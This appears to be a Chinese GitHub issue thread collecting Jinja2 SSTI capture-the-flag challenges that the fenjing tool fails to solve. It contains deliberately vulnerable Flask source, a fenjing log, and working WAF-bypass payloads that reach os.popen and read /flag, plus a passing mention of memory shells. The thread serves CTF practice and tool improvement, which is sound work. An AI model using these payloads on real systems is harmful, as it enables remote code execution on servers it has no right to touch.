长期收集fenjing解不出的题目

[Marven11]

接 #42 ，原issue太长了重新开一个

主要是最近比较忙没时间看CTF了，而且最近没有看到fenjing解不出的Jinja SSTI题目，不知道该更新什么

题目最好满足这些条件：

确定是Jinja SSTI, 而且（希望）不是python2
payload被WAF时至少得有一点反应，比如说出现特殊页面或者关键字被替换
payload提交方式任意，只要可以用python脚本自动化就行（甚至塞在JWT中提交也行）
题目保证幂等性，也就是说同样的payload无论提交多少次结果都一样
Fenjing不能绕过其中的WAF，而且最好可以用通用手法绕过

最好提供题目链接或者源代码（至少有WAF的部分），如果能提供一条成功绕过的payload就更好了，感谢各位师傅

[Banannna69]

#!/usr/bin/env python3

-- coding: utf-8 --

from flask import Flask, render_template, request,session
from config import black_list,create
import os

app = Flask(name)
app.config['SECRET_KEY'] = os.urandom(24)

flag is in /flag try to get it

@app.route('/', methods=['GET', 'POST'])
def index():

def filter(string):
    for black_word in black_list:
        if black_word in string:
            return "hack"
    return string

if request.method == 'POST':
    input = request.form['input']
    create_question = create()
    input_question = session.get('question')
    session['question'] = create_question
    if input_question == None:
        return render_template('index.html', answer="Invalid session please try again!", question=create_question)
    if filter(input)=="hack":
        return render_template('index.html', answer="hack", question=create_question)
    calc_str = input_question + "=" + str(input)
    try:
        calc_result = str((eval(calc_str)))
    except Exception as ex:
        calc_result = "Invalid"
    return render_template('index.html', answer=calc_result,question=create_question)

if request.method == 'GET':
    create_question = create()
    session['question'] = create_question
    return render_template('index.html',question=create_question)

@app.route('/source')
def source():
return open("app.py", "r").read()

if name == 'main':
app.run(host="0.0.0.0", debug=False)

#input=1022569 and exec(""“s='a3=open(”/flag", “r”).READ()’;a2=s.lower();exec(a2);session[‘question’]=a3""")

[Marven11]

这个不是Jinja SSTI吧... RCE的点在eval(calc_str)

[bashe-strong]

ctfshow平台的单身杯--ezzz_ssti题，限制pyload为40，用工具绕不过

[Marven11]

ctfshow平台的单身杯--ezzz_ssti题，限制pyload为40，用工具绕不过

#46 一直不知道怎么解决

[m4ph1n]

[WesternCTF2018]shrine buuctf
执行：

fenjing crack-path --url 'http://cb1a4cfd-62d2-4d20-ba07-22126668dc6b.node5.buuoj.cn:81/shrine/'

    ____             _ _
   / __/__  ____    (_|_)___  ____ _
  / /_/ _ \/ __ \  / / / __ \/ __ `/
 / __/  __/ / / / / / / / / / /_/ /
/_/  \___/_/ /_/_/ /_/_/ /_/\__, /
              /___/        /____/

    ------Made with passion by Marven11

[WARNING] | Not expected status code: 404 ... continue anyway                
[INFO] | It might be flask because we see 'flask.g' in '{{g}}'               
[INFO] | Cracking...                                                         
[INFO] | Don't submit '{{{%builtins}}{%builtins' because it can't be in the  
path.                                                                        
[INFO] | Submit failed for '{{{%builtins}}{%builtins'                        
[INFO] | Don't submit '{{{%%}/}}{%%}/' because it can't be in the path.      
[INFO] | Submit failed for '{{{%%}/}}{%%}/'                                  
[INFO] | Don't submit '{{value%}}}value%}' because it can't be in the path.  
[INFO] | Submit failed for '{{value%}}}value%}'                              
[INFO] | Don't submit '{{%env}}%env' because it can't be in the path.        
[INFO] | Submit failed for '{{%env}}%env'                                    
[INFO] | Don't submit '{%print                                               
configjoinpopjoinerglobalsattrechodict%}configjoinpopjoinerglobalsattrechodic
t' because it can't be in the path.                                          
[INFO] | Submit failed for '{%print                                          
configjoinpopjoinerglobalsattrechodict%}configjoinpopjoinerglobalsattrechodic
t'                                                                           
[INFO] | Don't submit                                                        
'{%print(configjoinpopjoinerglobalsattrechodict)%}configjoinpopjoinerglobalsa
ttrechodict' because it can't be in the path.                                
[INFO] | Submit failed for                                                   
'{%print(configjoinpopjoinerglobalsattrechodict)%}configjoinpopjoinerglobalsa
ttrechodict'                                                                 
[INFO] | Don't submit '{%print                                               
))~globalifgetattrarg]count%}))~globalifgetattrarg]count' because it can't be
in the path.                                                                 
[INFO] | Submit failed for '{%print                                          
))~globalifgetattrarg]count%}))~globalifgetattrarg]count'                    
[INFO] | Don't submit                                                        
'{%print())~globalifgetattrarg]count)%}))~globalifgetattrarg]count' because  
it can't be in the path.                                                     
[INFO] | Submit failed for                                                   
'{%print())~globalifgetattrarg]count)%}))~globalifgetattrarg]count'          
[INFO] | Don't submit "{%print                                               
mroexec|[builtinread'j1ng%}mroexec|[builtinread'j1ng" because it can't be in 
the path.                                                                    
[INFO] | Submit failed for "{%print                                          
mroexec|[builtinread'j1ng%}mroexec|[builtinread'j1ng"                        
[INFO] | Don't submit                                                        
"{%print(mroexec|[builtinread'j1ng)%}mroexec|[builtinread'j1ng" because it   
can't be in the path.                                                        
[INFO] | Submit failed for                                                   
"{%print(mroexec|[builtinread'j1ng)%}mroexec|[builtinread'j1ng"              
[INFO] | Don't submit ':37{%builtinsordformatnamespacefrom_pyfile' because it
can't be in the path.                                                        
[INFO] | Submit failed for ':37{%builtinsordformatnamespacefrom_pyfile'      
[INFO] | Don't submit                                                        
':37{%builtinsordformatnamespacefrom_pyfile:37{%builtinsordformatnamespacefro
m_pyfile' because it can't be in the path.                                   
[INFO] | Submit failed for                                                   
':37{%builtinsordformatnamespacefrom_pyfile:37{%builtinsordformatnamespacefro
m_pyfile'                                                                    
[INFO] | Don't submit                                                        
'{{:37{%builtinsordformatnamespacefrom_pyfile}}:37{%builtinsordformatnamespac
efrom_pyfile' because it can't be in the path.                               
[INFO] | Submit failed for                                                   
'{{:37{%builtinsordformatnamespacefrom_pyfile}}:37{%builtinsordformatnamespac
efrom_pyfile'                                                                
[INFO] | Don't submit '{%print                                               
:37{%builtinsordformatnamespacefrom_pyfile%}:37{%builtinsordformatnamespacefr
om_pyfile' because it can't be in the path.                                  
[INFO] | Submit failed for '{%print                                          
:37{%builtinsordformatnamespacefrom_pyfile%}:37{%builtinsordformatnamespacefr
om_pyfile'                                                                   
[INFO] | Don't submit                                                        
'{%print(:37{%builtinsordformatnamespacefrom_pyfile)%}:37{%builtinsordformatn
amespacefrom_pyfile' because it can't be in the path.                        
[INFO] | Submit failed for                                                   
'{%print(:37{%builtinsordformatnamespacefrom_pyfile)%}:37{%builtinsordformatn
amespacefrom_pyfile'                                                         
[INFO] | Don't submit '89{%%}/subprocesschr-self' because it can't be in the 
path.                                                                        
[INFO] | Submit failed for '89{%%}/subprocesschr-self'                       
[INFO] | Don't submit '89{%%}/subprocesschr-self89{%%}/subprocesschr-self'   
because it can't be in the path.                                             
[INFO] | Submit failed for                                                   
'89{%%}/subprocesschr-self89{%%}/subprocesschr-self'                         
[INFO] | Don't submit                                                        
'{{89{%%}/subprocesschr-self}}89{%%}/subprocesschr-self' because it can't be 
in the path.                                                                 
[INFO] | Submit failed for                                                   
'{{89{%%}/subprocesschr-self}}89{%%}/subprocesschr-self'                     
[INFO] | Don't submit '{%print                                               
89{%%}/subprocesschr-self%}89{%%}/subprocesschr-self' because it can't be in 
the path.                                                                    
[INFO] | Submit failed for '{%print                                          
89{%%}/subprocesschr-self%}89{%%}/subprocesschr-self'                        
[INFO] | Don't submit                                                        
'{%print(89{%%}/subprocesschr-self)%}89{%%}/subprocesschr-self' because it   
can't be in the path.                                                        
[INFO] | Submit failed for                                                   
'{%print(89{%%}/subprocesschr-self)%}89{%%}/subprocesschr-self'              
[INFO] | Don't submit '{%print                                               
{{}};replacelocal*get_flashed_messagescd7%}{{}};replacelocal*get_flashed_mess
agescd7' because it can't be in the path.                                    
[INFO] | Submit failed for '{%print                                          
{{}};replacelocal*get_flashed_messagescd7%}{{}};replacelocal*get_flashed_mess
agescd7'                                                                     
[INFO] | Don't submit                                                        
'{%print({{}};replacelocal*get_flashed_messagescd7)%}{{}};replacelocal*get_fl
ashed_messagescd7' because it can't be in the path.                          
[INFO] | Submit failed for                                                   
'{%print({{}};replacelocal*get_flashed_messagescd7)%}{{}};replacelocal*get_fl
ashed_messagescd7'                                                           
[INFO] | Don't submit '{%print                                               
_5escaperequestevalimportlipsumurl%}_5escaperequestevalimportlipsumurl'      
because it can't be in the path.                                             
[INFO] | Submit failed for '{%print                                          
_5escaperequestevalimportlipsumurl%}_5escaperequestevalimportlipsumurl'      
[INFO] | Don't submit                                                        
'{%print(_5escaperequestevalimportlipsumurl)%}_5escaperequestevalimportlipsum
url' because it can't be in the path.                                        
[INFO] | Submit failed for                                                   
'{%print(_5escaperequestevalimportlipsumurl)%}_5escaperequestevalimportlipsum
url'                                                                         
[INFO] | Don't submit '{%print                                               
),)index3=execfileinclude0init%}),)index3=execfileinclude0init' because it   
can't be in the path.                                                        
[INFO] | Submit failed for '{%print                                          
),)index3=execfileinclude0init%}),)index3=execfileinclude0init'              
[INFO] | Don't submit                                                        
'{%print(),)index3=execfileinclude0init)%}),)index3=execfileinclude0init'    
because it can't be in the path.                                             
[INFO] | Submit failed for                                                   
'{%print(),)index3=execfileinclude0init)%}),)index3=execfileinclude0init'    
[INFO] | Don't submit 'compilenotclasssystem\\u{{value%}' because it can't be
in the path.                                                                 
[INFO] | Submit failed for 'compilenotclasssystem\\u{{value%}'               
[INFO] | Don't submit                                                        
'compilenotclasssystem\\u{{value%}compilenotclasssystem\\u{{value%}' because 
it can't be in the path.                                                     
[INFO] | Submit failed for                                                   
'compilenotclasssystem\\u{{value%}compilenotclasssystem\\u{{value%}'         
[INFO] | Don't submit                                                        
'{{compilenotclasssystem\\u{{value%}}}compilenotclasssystem\\u{{value%}'     
because it can't be in the path.                                             
[INFO] | Submit failed for                                                   
'{{compilenotclasssystem\\u{{value%}}}compilenotclasssystem\\u{{value%}'     
[INFO] | Don't submit '{%print                                               
compilenotclasssystem\\u{{value%}%}compilenotclasssystem\\u{{value%}' because
it can't be in the path.                                                     
[INFO] | Submit failed for '{%print                                          
compilenotclasssystem\\u{{value%}%}compilenotclasssystem\\u{{value%}'        
[INFO] | Don't submit                                                        
'{%print(compilenotclasssystem\\u{{value%})%}compilenotclasssystem\\u{{value%
}' because it can't be in the path.                                          
[INFO] | Submit failed for                                                   
'{%print(compilenotclasssystem\\u{{value%})%}compilenotclasssystem\\u{{value%
}'                                                                           
[INFO] | Don't submit 'getattribute4%envposixappgetitemfile' because it can't
be in the path.                                                              
[INFO] | Submit failed for 'getattribute4%envposixappgetitemfile'            
[INFO] | Don't submit                                                        
'getattribute4%envposixappgetitemfilegetattribute4%envposixappgetitemfile'   
because it can't be in the path.                                             
[INFO] | Submit failed for                                                   
'getattribute4%envposixappgetitemfilegetattribute4%envposixappgetitemfile'   
[INFO] | Don't submit                                                        
'{{getattribute4%envposixappgetitemfile}}getattribute4%envposixappgetitemfile
' because it can't be in the path.                                           
[INFO] | Submit failed for                                                   
'{{getattribute4%envposixappgetitemfile}}getattribute4%envposixappgetitemfile
'                                                                            
[INFO] | Don't submit '{%print                                               
getattribute4%envposixappgetitemfile%}getattribute4%envposixappgetitemfile'  
because it can't be in the path.                                             
[INFO] | Submit failed for '{%print                                          
getattribute4%envposixappgetitemfile%}getattribute4%envposixappgetitemfile'  
[INFO] | Don't submit                                                        
'{%print(getattribute4%envposixappgetitemfile)%}getattribute4%envposixappgeti
temfile' because it can't be in the path.                                    
[INFO] | Submit failed for                                                   
'{%print(getattribute4%envposixappgetitemfile)%}getattribute4%envposixappgeti
temfile'                                                                     
[INFO] | Don't submit '{%print                                               
cycler\\x\\popenforlengthbasefunc_globals%}cycler\\x\\popenforlengthbasefunc_
globals' because it can't be in the path.                                    
[INFO] | Submit failed for '{%print                                          
cycler\\x\\popenforlengthbasefunc_globals%}cycler\\x\\popenforlengthbasefunc_
globals'                                                                     
[INFO] | Don't submit                                                        
'{%print(cycler\\x\\popenforlengthbasefunc_globals)%}cycler\\x\\popenforlengt
hbasefunc_globals' because it can't be in the path.                          
[INFO] | Submit failed for                                                   
'{%print(cycler\\x\\popenforlengthbasefunc_globals)%}cycler\\x\\popenforlengt
hbasefunc_globals'                                                           
[INFO] | Don't submit '{%print                                               
open"rangeitem.__url_forbatch%}open"rangeitem.__url_forbatch' because it     
can't be in the path.                                                        
[INFO] | Submit failed for '{%print                                          
open"rangeitem.__url_forbatch%}open"rangeitem.__url_forbatch'                
[INFO] | Don't submit                                                        
'{%print(open"rangeitem.__url_forbatch)%}open"rangeitem.__url_forbatch'      
because it can't be in the path.                                             
[INFO] | Submit failed for                                                   
'{%print(open"rangeitem.__url_forbatch)%}open"rangeitem.__url_forbatch'      
[INFO] | Don't submit '{%print                                               
reverseoscatf3n0"+subclasses2%}reverseoscatf3n0"+subclasses2' because it     
can't be in the path.                                                        
[INFO] | Submit failed for '{%print                                          
reverseoscatf3n0"+subclasses2%}reverseoscatf3n0"+subclasses2'                
[INFO] | Don't submit                                                        
'{%print(reverseoscatf3n0"+subclasses2)%}reverseoscatf3n0"+subclasses2'      
because it can't be in the path.                                             
[INFO] | Submit failed for                                                   
'{%print(reverseoscatf3n0"+subclasses2)%}reverseoscatf3n0"+subclasses2'      
[INFO] | Don't submit '{%print flagflashed}}61%}flagflashed}}61' because it  
can't be in the path.                                                        
[INFO] | Submit failed for '{%print flagflashed}}61%}flagflashed}}61'        
[INFO] | Don't submit '{%print(flagflashed}}61)%}flagflashed}}61' because it 
can't be in the path.                                                        
[INFO] | Submit failed for '{%print(flagflashed}}61)%}flagflashed}}61'       
[INFO] | Don't submit 'dnyy{%dnyy' because it can't be in the path.          
[INFO] | Submit failed for 'dnyy{%dnyy'                                      
[INFO] | Don't submit 'dnyy{%%}dnyy' because it can't be in the path.        
[INFO] | Submit failed for 'dnyy{%%}dnyy'                                    
[INFO] | Don't submit 'dnyy/dnyy' because it can't be in the path.           
[INFO] | Submit failed for 'dnyy/dnyy'                                       
[INFO] | Don't submit 'dnyy%}dnyy' because it can't be in the path.          
[INFO] | Submit failed for 'dnyy%}dnyy'                                      
[INFO] | Don't submit 'dnyy%dnyy' because it can't be in the path.           
[INFO] | Submit failed for 'dnyy%dnyy'                                       
[INFO] | These keywords might get replaced: ['),)', '))', ')']               
[INFO] | Fuzzing long payloads...                                            
[INFO] | Don't submit 'pvuv{%set =%}' because it can't be in the path.       
[INFO] | Don't submit 'pvuv{%set\t=%}' because it can't be in the path.      
[INFO] | Don't submit 'pvuv{%set\n=%}' because it can't be in the path.      
[INFO] | Don't submit 'pvuv{%set\r=%}' because it can't be in the path.      
[INFO] | Don't submit 'pvuv{%set\x1c=%}' because it can't be in the path.    
[INFO] | Don't submit 'pvuv{%set\x1d=%}' because it can't be in the path.    
[INFO] | Don't submit 'pvuv{%set\x1e=%}' because it can't be in the path.    
[INFO] | Don't submit 'pvuv{%set\x1f=%}' because it can't be in the path.    
[INFO] | use {{PAYLOAD}}                                                     
[INFO] | Great! gen_string_1 says string('attr') can be 'attr'               
[INFO] | Great! gen_string_1 says string('to_bytes') can be 'to_bytes'       
[INFO] | Great! gen_string_1 says string('decode') can be 'decode'           
[INFO] | Great! gen_string_1 says string('attribute') can be 'attribute'     
[INFO] | Great! gen_string_1 says string('__add__') can be '__add__'         
[INFO] | Great! gen_string_1 says string('__globals__') can be '__globals__' 
[INFO] | Great! gen_string_1 says string('__builtins__') can be              
'__builtins__'                                                               
[INFO] | Great! gen_string_1 says string('__getitem__') can be '__getitem__' 
[INFO] | Great! gen_string_1 says string('eval') can be 'eval'               
[INFO] | Great! gen_string_1 says string('bytes') can be 'bytes'             
[INFO] | Great! gen_string_1 says string('big') can be 'big'                 
[INFO] | Great! gen_string_1 says string('_') can be '_'                     
[WARNING] | request.args.godepends is too long, continue                     
[INFO] | Great! gen_string_1 says string('__') can be '__'                   
[WARNING] | request.args.dudepends is too long, continue                     
[INFO] | Don't submit "pvuv'%'" because it can't be in the path.             
[INFO] | Don't submit 'pvuv"%"' because it can't be in the path.             
[INFO] | Don't submit "pvuv'%'[::-1]" because it can't be in the path.       
[INFO] | Don't submit 'pvuv"%"[::-1]' because it can't be in the path.       
[INFO] | Don't submit "pvuv'%'|lower" because it can't be in the path.       
[INFO] | Don't submit 'pvuv"%"|lower' because it can't be in the path.       
[INFO] | Great! gen_string_x1 says string('%') can be "\x25"                 
[WARNING] | request.args.jedepends is too long, continue                     
[INFO] | Don't submit "pvuv'%c'" because it can't be in the path.            
[INFO] | Don't submit 'pvuv"%c"' because it can't be in the path.            
[INFO] | Don't submit 'pvuv"%""c"' because it can't be in the path.          
[INFO] | Great! gen_string_manypercentlowerc says string('%c') can be        
{}|escape|urlencode|first+'c'                                                
[INFO] | Adding request.args.rt='%c'                                         
[INFO] | We cannot set any variable through {%set %}, continue...            
[INFO] | Start generating final expression...                                
[INFO] | Great! we generate module_os()                                      
[INFO] | Don't submit "pvuv'echo f3n  j1ng;'" because it can't be in the     
path.                                                                        
[INFO] | Don't submit 'pvuv"echo f3n  j1ng;"' because it can't be in the     
path.                                                                        
[INFO] | Don't submit "pvuv'e''cho f3n  j1ng;'" because it can't be in the   
path.                                                                        
[INFO] | Don't submit "pvuv'ec''ho f3n  j1ng;'" because it can't be in the   
path.                                                                        
[INFO] | Don't submit "pvuv'ech''o f3n  j1ng;'" because it can't be in the   
path.                                                                        
[INFO] | Don't submit "pvuv'echo'' f3n  j1ng;'" because it can't be in the   
path.                                                                        
[INFO] | Don't submit "pvuv'echo ''f3n  j1ng;'" because it can't be in the   
path.                                                                        
[INFO] | Don't submit "pvuv'echo f''3n  j1ng;'" because it can't be in the   
path.                                                                        
[INFO] | Don't submit "pvuv'echo f3''n  j1ng;'" because it can't be in the   
path.                                                                        
[INFO] | Don't submit "pvuv'echo f3n''  j1ng;'" because it can't be in the   
path.                                                                        
[INFO] | Don't submit "pvuv'echo f3n '' j1ng;'" because it can't be in the   
path.                                                                        
[INFO] | Don't submit "pvuv'echo f3n  ''j1ng;'" because it can't be in the   
path.                                                                        
[INFO] | Don't submit "pvuv'echo f3n  j''1ng;'" because it can't be in the   
path.                                                                        
[INFO] | Don't submit "pvuv'echo f3n  j1''ng;'" because it can't be in the   
path.                                                                        
[INFO] | Don't submit "pvuv'echo f3n  j1n''g;'" because it can't be in the   
path.                                                                        
[INFO] | Don't submit "pvuv'echo f3n  j1ng'';'" because it can't be in the   
path.                                                                        
[INFO] | Don't submit 'pvuv"e""cho f3n  j1ng;"' because it can't be in the   
path.                                                                        
[INFO] | Don't submit 'pvuv"ec""ho f3n  j1ng;"' because it can't be in the   
path.                                                                        
[INFO] | Don't submit 'pvuv"ech""o f3n  j1ng;"' because it can't be in the   
path.                                                                        
[INFO] | Don't submit 'pvuv"echo"" f3n  j1ng;"' because it can't be in the   
path.                                                                        
[INFO] | Don't submit 'pvuv"echo ""f3n  j1ng;"' because it can't be in the   
path.                                                                        
[INFO] | Don't submit 'pvuv"echo f""3n  j1ng;"' because it can't be in the   
path.                                                                        
[INFO] | Don't submit 'pvuv"echo f3""n  j1ng;"' because it can't be in the   
path.                                                                        
[INFO] | Don't submit 'pvuv"echo f3n""  j1ng;"' because it can't be in the   
path.                                                                        
[INFO] | Don't submit 'pvuv"echo f3n "" j1ng;"' because it can't be in the   
path.                                                                        
[INFO] | Don't submit 'pvuv"echo f3n  ""j1ng;"' because it can't be in the   
path.                                                                        
[INFO] | Don't submit 'pvuv"echo f3n  j""1ng;"' because it can't be in the   
path.                                                                        
[INFO] | Don't submit 'pvuv"echo f3n  j1""ng;"' because it can't be in the   
path.                                                                        
[INFO] | Don't submit 'pvuv"echo f3n  j1n""g;"' because it can't be in the   
path.                                                                        
[INFO] | Don't submit 'pvuv"echo f3n  j1ng"";"' because it can't be in the   
path.                                                                        
[INFO] | Don't submit "pvuv';gn1j  n3f ohce'[::-1]" because it can't be in   
the path.                                                                    
[INFO] | Don't submit 'pvuv";gn1j  n3f ohce"[::-1]' because it can't be in   
the path.                                                                    
[INFO] | Don't submit "pvuv'ECHO F3N  J1NG;'|lower" because it can't be in   
the path.                                                                    
[INFO] | Don't submit 'pvuv"ECHO F3N  J1NG;"|lower' because it can't be in   
the path.                                                                    
[INFO] | Don't submit "pvuv'e'+'c'+'h'+'o'+' '+'f'+'3'+'n'+' '+'             
'+'j'+'1'+'n'+'g'+';'" because it can't be in the path.                      
[INFO] | Don't submit 'pvuv"e"+"c"+"h"+"o"+" "+"f"+"3"+"n"+" "+"             
"+"j"+"1"+"n"+"g"+";"' because it can't be in the path.                      
[INFO] | Don't submit 'pvuv"e""c""h""o"" ""f""3""n"" "" ""j""1""n""g"";"'    
because it can't be in the path.                                             
[INFO] | Don't submit 'pvuv"e" "c" "h" "o" " " "f" "3" "n" " " " " "j" "1"   
"n" "g" ";"' because it can't be in the path.                                
[INFO] | Great! gen_string_x1 says string('echo f3n  j1ng;') can be          
"\x65\x63\x68\x6f\x20\x66\x33\x6e\x20\x20\x6a\x31\x6e\x67\x3b"               
[INFO] | Failed generating os_popen_obj('echo f3n  j1ng;'). Hopefully it     
might not be an issue.                                                       
[INFO] | Great! we generate eval_func()                                      
[INFO] | Great! gen_string_x1 says string("__import__('os').popen('echo f3n  
j1ng;').read()") can be                                                      
"\x5f\x5f\x69\x6d\x70\x6f\x72\x74\x5f\x5f\x28\x27\x6f\x73\x27\x29\x2e\x70\x6f
\x70\x65\x6e\x28\x27\x65\x63\x68\x6f\x20\x66\x33\x6e\x20\x20\x6a\x31\x6e\x67\
x3b\x27\x29\x2e\x72\x65\x61\x64\x28\x29"                                     
[INFO] | Failed generating eval(('string', "__import__('os').popen('echo f3n 
j1ng;').read()")). Hopefully it might not be an issue.                       
[INFO] | Failed generating os_popen_read('echo f3n  j1ng;'). Hopefully it    
might not be an issue.                                                       
[INFO] | Bypassing WAF Failed for ('os_popen_read', 'echo f3n  j1ng;')       

[WARNING] | Test form failed... 

实际解题payload
{{url_for.__globals__['current_app'].config}}

[Marven11]

这题ban了括号，没法RCE

[ReedLeo]

ctfshow平台单身杯-姻缘测试, {{和}}要分开在两个参数里，后台接收后再拼接，不知道如何利用fenjing来做。本身没有太多过滤。

payload :

?boy_name={{'&girl_name='.__class__.__base__.__subclasses__()[81].__init__.__globals__.__import__('os').popen('cat%09/flag.txt').read()}}

扒了源码：

app.py

from flask import *
import random,hashlib


#初始化全局变量
app = Flask(__name__)

@app.route('/source',methods=['GET','POST'])
def source():
	return '''def is_hacker(string):
	"""整那些个花里胡哨的waf有啥用，还不如这一个，直接杜绝SSTI"""
	if "{" in string and "}" in string :
		return True
	else:
		return False
	'''

def is_hacker(string):
	"""整那些个花里胡哨的waf有啥用，还不如这一个，直接杜绝SSTI"""
	if "{" in string and "}" in string :
		return True
	else:
		return False

@app.route('/',methods=['GET','POST'])
def home():
	return render_template('index.html')

@app.route('/result', methods=['GET', 'POST'])
def result():
	boy_name=request.args.get('boy_name')
	girl_name=request.args.get('girl_name')
	
	if boy_name and girl_name:
		random.seed(hashlib.md5((boy_name+girl_name).encode()).hexdigest())
		yyzs = random.randint(1,100)
	else:	
		boy_name="8god"
		girl_name="mumuzi"
		yyzs=100
	print(boy_name)
	print(girl_name)
	if is_hacker(boy_name) or is_hacker(girl_name):
		return """Hacker!!!"""
	result_template="""<!DOCTYPE html>
<html lang="zh-CN" style="font-size: 85.3333px;"><head><meta http-equiv="Content-Type" content="text/html; charset=UTF-8">
<title>姻缘测试结果</title>
<link href="./static/wap.min.css" rel="stylesheet" type="text/css"> 
<link href="./static/bazihehun.min.css" rel="stylesheet" type="text/css">
</head>
<body>
<header class="public_header">
<h1 class="public_h_con">姻缘检测</h1>
</header>
<div class="public_banner">
	<img src="./static/mainb.jpg" alt="姻缘检测">
</div>
<div class="order_wrapper">
	<div class="user_info">
		<div class="user_info_box left">
			<p class="tit">%s</p>
			<p><img src="./static/big_man.jpg" alt="先生"></p>
		</div>
	<div class="user_info_box right">
			<p class="tit">%s</p>
			<p><img src="./static/big_woman.jpg" alt="小姐"></p>
		</div>
	<span class="icon_center"><img src="./static/icon_hehun.png" alt="#">
      <div class="txt">
        姻缘值
        <span class="red">
          %s
        </span>
      </div>
    </span>
		
	</div>
	<div class="txt">

		已有<span class="red">1145141919810</span>人进行了测试分析，帮助他们找到<span class="red">美满恋爱婚姻，百分之98.9</span>的用户认为测算结果对他们的婚姻生活产生了巨大帮助。
	</div>
</body><!-- /source --></html>"""%( boy_name , girl_name , yyzs)
	return render_template_string(result_template)



if __name__ == '__main__':
	#app.run(host='0.0.0.0', port=9999)
	app.run(host='0.0.0.0',port=80)

[Marven11]

这个应该找不出全自动的解法，如果有类似的题目不仅仅ban了花括号，可以参考这个把payload掰成两半提交，然后就可以全自动搜索出payload泐

但是考虑到这道题只ban了花括号，直接把{{lipsum.__globals__.__builtins__.__import__('os').popen('ls').read()}}分成两半提交就行，不用绕过WAF

[hatnoop]

import random
from flask import Flask, render_template_string, render_template, request

app = Flask(__name__)

nicknames = ['Is %s 20 years old?', 'Are you 18 years old, %s?', 'Let me guess! %s is 19 years old.', '%s may be an adult.', '%s is probably old.', '%s is 21 years old.']

blacklist = ['}}', '{{', ']', '[', ']', '\'', ' ', '+', '_', '.', 'x', 'g', 'request', 'print', 'args', 'values', 'input', 'globals', 'getitem', 'class', 'mro', 'base', 'session', 'add', 'chr', 'ord', 'redirect', 'url_for', 'popen', 'os', 'read', 'flag', 'config', 'builtins', 'get_flashed_messages', 'get', 'subclasses', 'form', 'cookies', 'headers']

@app.route('/', methods=['GET', 'POST'])
def index():
    if request.method == 'POST':
        try:
            p = request.values.get('nickname')
            id = random.randint(0, len(nicknames) - 1)
            if p != None:
                for s in blacklist:
                    if s in p:
                        return 'Hacker! restricted characters!'
                     
                return render_template_string(nicknames[id] % p)

        except Exception as e:
            print(e)
            return 'Exception'
            
    return render_template('index.html')

if __name__ == '__main__':
    app.run(host='0.0.0.0', port=5000)

[Marven11]

可以跑

{%set   cq=(lipsum|escape|batch(22)|first|last)%}{%set  ls=("%c"*4)%(108,115,32,63)%}   {%  set s=  ez|attr(cq~cq~"eq"~cq~cq)|attr(cq~cq~"GLOBALS"|lower~cq~cq)|attr("GET"|lower)("sys")|attr("modules")|attr("GET"|lower)("o""s")|attr("p""open")(ls)|attr("r""ead")() %}

这种错误时返回200的应该用--waf-keyword指定关键字，比如这道题就是--waf-keyword Hacker

[hatnoop]

跑出来的结果提示：Payload generator says that this payload won't print command execution result.
用您的payload则提示：Hacker! Restricted characters!

[Marven11]

python -m fenjing crack --url 'http://127.0.0.1:5001' --method POST --inputs nickname --waf-keyword 'Hacker'

本地能跑，你是不是复制错了？

[hatnoop]

可以执行命令，但是没有办法回显。如果机器不出网的环境就没办法了

[Marven11]

那不是都RCE成功了嘛，不出网的可以看看文档打内存马